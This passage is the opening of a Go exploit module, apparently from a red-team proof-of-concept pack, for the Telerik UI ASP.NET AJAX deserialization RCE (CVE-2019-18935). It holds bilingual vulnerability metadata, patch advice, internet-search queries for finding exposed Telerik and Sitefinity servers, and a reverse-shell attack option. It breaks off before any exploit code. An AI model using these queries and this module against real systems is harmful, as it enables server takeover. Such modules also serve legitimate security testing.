2024Goby红队版POC.zip

package exploits import ( "bytes" "crypto/aes" "crypto/cipher" "crypto/hmac" "crypto/sha1" "crypto/sha256" "encoding/base64" "encoding/hex" "fmt" "git.gobies.org/goby/goscanner/godclient" "git.gobies.org/goby/goscanner/goutils" "git.gobies.org/goby/goscanner/jsonvul" "git.gobies.org/goby/goscanner/scanconfig" "git.gobies.org/goby/httpclient" "log" "net/url" "regexp" "strconv" "strings" "time" ) func init() { expJson := `{ "Name": "Progress Telerik UI for ASP.NET AJAX Deserialization (CVE-2019-18935)", "Description": "<p>Telerik UI for ASP NET AJAX is a set of UI components widely used in web applications, reducing the time required to build web forms applications for any browser and device by half. Telerik UI for ASP NET AJAX is a complete ASP NET AJAX user interface development toolkit.</p><p>Telerik UI for ASP NET AJAX has an RCE vulnerability caused by deserialization, which allows attackers to execute code on the server side, write backdoors, gain server privileges, and ultimately control the entire web server.</p>", "Impact": "<p>Telerik UI for ASP NET AJAX has an RCE vulnerability caused by deserialization, which allows attackers to execute code on the server side, write backdoors, gain server privileges, and ultimately control the entire web server.</p>", "Recommendation": "<p>1. The manufacturer has released an upgrade patch to fix the vulnerability. The link to obtain the patch is: <a href=\"https://www.telerik.com/support/kb/aspnet-ajax/details/allows-javascriptserializer-deserialization\">https://www.telerik.com/support/kb/aspnet-ajax/details/allows-javascriptserializer-deserialization</a></p><p>2. If not necessary, public network access to the system is prohibited.</p><p>3. Set access policies and whitelist access through security devices such as firewalls.</p>", "Product": "Telerik-UI", "VulType": [ "Code Execution" ], "Tags": [ "Code Execution" ], "Translation": { "CN": { "Name": "Telerik UI ASP.NET AJAX 反序列化 RCE 漏洞（CVE-2019-18935）", "Product": "Telerik-UI-for-ASP.NET", "Description": "<p>Telerik UI for ASP.NET AJAX 是一套广泛用于 Web 应用程序的 UI 组件，将为任何浏览器和设备构建Web Forms应用程序的时间缩短一半。Telerik UI for ASP.NET AJAX是完整的 ASP.NET AJAX 用户界面开发工具集。</p><p>Telerik UI for ASP.NET AJAX 存在反序列化导致的 RCE 漏洞，攻击者可通过该漏洞在服务器端任意执行代码，写入后门，获取服务器权限，进而控制整个web服务器。<br></p>", "Recommendation": "<p>1、厂商已发布升级补丁以修复漏洞，补丁获取链接： <a href=\"https://www.telerik.com/support/kb/aspnet-ajax/details/allows-javascriptserializer-deserialization\" target=\"_blank\">https://www.telerik.com/support/kb/aspnet-ajax/details/allows-javascriptserializer-deserialization</a></p><p>2、如非必要，禁止公网访问该系统。<br></p><p>3、通过防火墙等安全设备设置访问策略，设置白名单访问。</p>", "Impact": "<p>Telerik UI for ASP.NET AJAX 存在反序列化导致的 RCE 漏洞，攻击者可通过该漏洞在服务器端任意执行代码，写入后门，获取服务器权限，进而控制整个web服务器。<br></p>", "VulType": [ "代码执行" ], "Tags": [ "代码执行" ] }, "EN": { "Name": "Progress Telerik UI for ASP.NET AJAX Deserialization (CVE-2019-18935)", "Product": "Telerik-UI", "Description": "<p>Telerik UI for ASP NET AJAX is a set of UI components widely used in web applications, reducing the time required to build web forms applications for any browser and device by half. Telerik UI for ASP NET AJAX is a complete ASP NET AJAX user interface development toolkit.</p><p>Telerik UI for ASP NET AJAX has an RCE vulnerability caused by deserialization, which allows attackers to execute code on the server side, write backdoors, gain server privileges, and ultimately control the entire web server.</p>", "Recommendation": "<p>1. The manufacturer has released an upgrade patch to fix the vulnerability. The link to obtain the patch is: <a href=\"https://www.telerik.com/support/kb/aspnet-ajax/details/allows-javascriptserializer-deserialization\">https://www.telerik.com/support/kb/aspnet-ajax/details/allows-javascriptserializer-deserialization</a></p><p>2. If not necessary, public network access to the system is prohibited.</p><p>3. Set access policies and whitelist access through security devices such as firewalls.</p>", "Impact": "<p>Telerik UI for ASP NET AJAX has an RCE vulnerability caused by deserialization, which allows attackers to execute code on the server side, write backdoors, gain server privileges, and ultimately control the entire web server.<br></p>", "VulType": [ "Code Execution" ], "Tags": [ "Code Execution" ] } }, "FofaQuery": "body=\"Telerik.Web.UI, Version=\" || (body=\"Telerik.Web.UI.WebResource.axd\" || body=\"content=\\\"Sitefinity\")", "GobyQuery": "body=\"Telerik.Web.UI, Version=\" || (body=\"Telerik.Web.UI.WebResource.axd\" || body=\"content=\\\"Sitefinity\")", "Author": "go0p@", "Homepage": "https://www.telerik.com", "DisclosureDate": "2019-12-11", "References": [ "https://bishopfox.com/blog/cve-2019-18935-remote-code-execution-in-telerik-ui", "https://github.com/noperator/CVE-2019-18935", "https://github.com/bao7uo/RAU_crypto", "https://www.telerik.com/support/kb/aspnet-ajax/details/allows-javascriptserializer-deserialization" ], "HasExp": true, "Is0day": false, "Level": "3", "CVSS": "9.8", "CVEIDs": [ "CVE-2019-18935" ], "CNVD": [], "CNNVD": [ "CNNVD-201912-504" ], "ScanSteps": [ "AND", { "Request": { "method": "GET", "uri": "/", "follow_redirect": false, "header": {}, "data_type": "text", "data": "" }, "ResponseTest": { "type": "group", "operation": "AND", "checks": [ { "type": "item", "variable": "$code", "operation": "==", "value": "200", "bz": "" } ] }, "SetVariable": [] } ], "ExploitSteps": [ "AND", { "Request": { "method": "GET", "uri": "/", "follow_redirect": false, "header": {}, "data_type": "text", "data": "" }, "ResponseTest": { "type": "group", "operation": "AND", "checks": [ { "type": "item", "variable": "$code", "operation": "==", "value": "200", "bz": "" } ] }, "SetVariable": [] } ], "ExpParams": [ { "name": "attackType", "type": "select", "value": "reverse", "show": "" } ], "ExpTips": { "type": "", "content": "" }, "AttackSurfaces": { "Application": [ "Telerik-Sitefinity" ], "Support": [], "Service": [], "System": [], "Hardware": [] }, "CVSSScore": "9.3", "PostTime": "2023-12-08",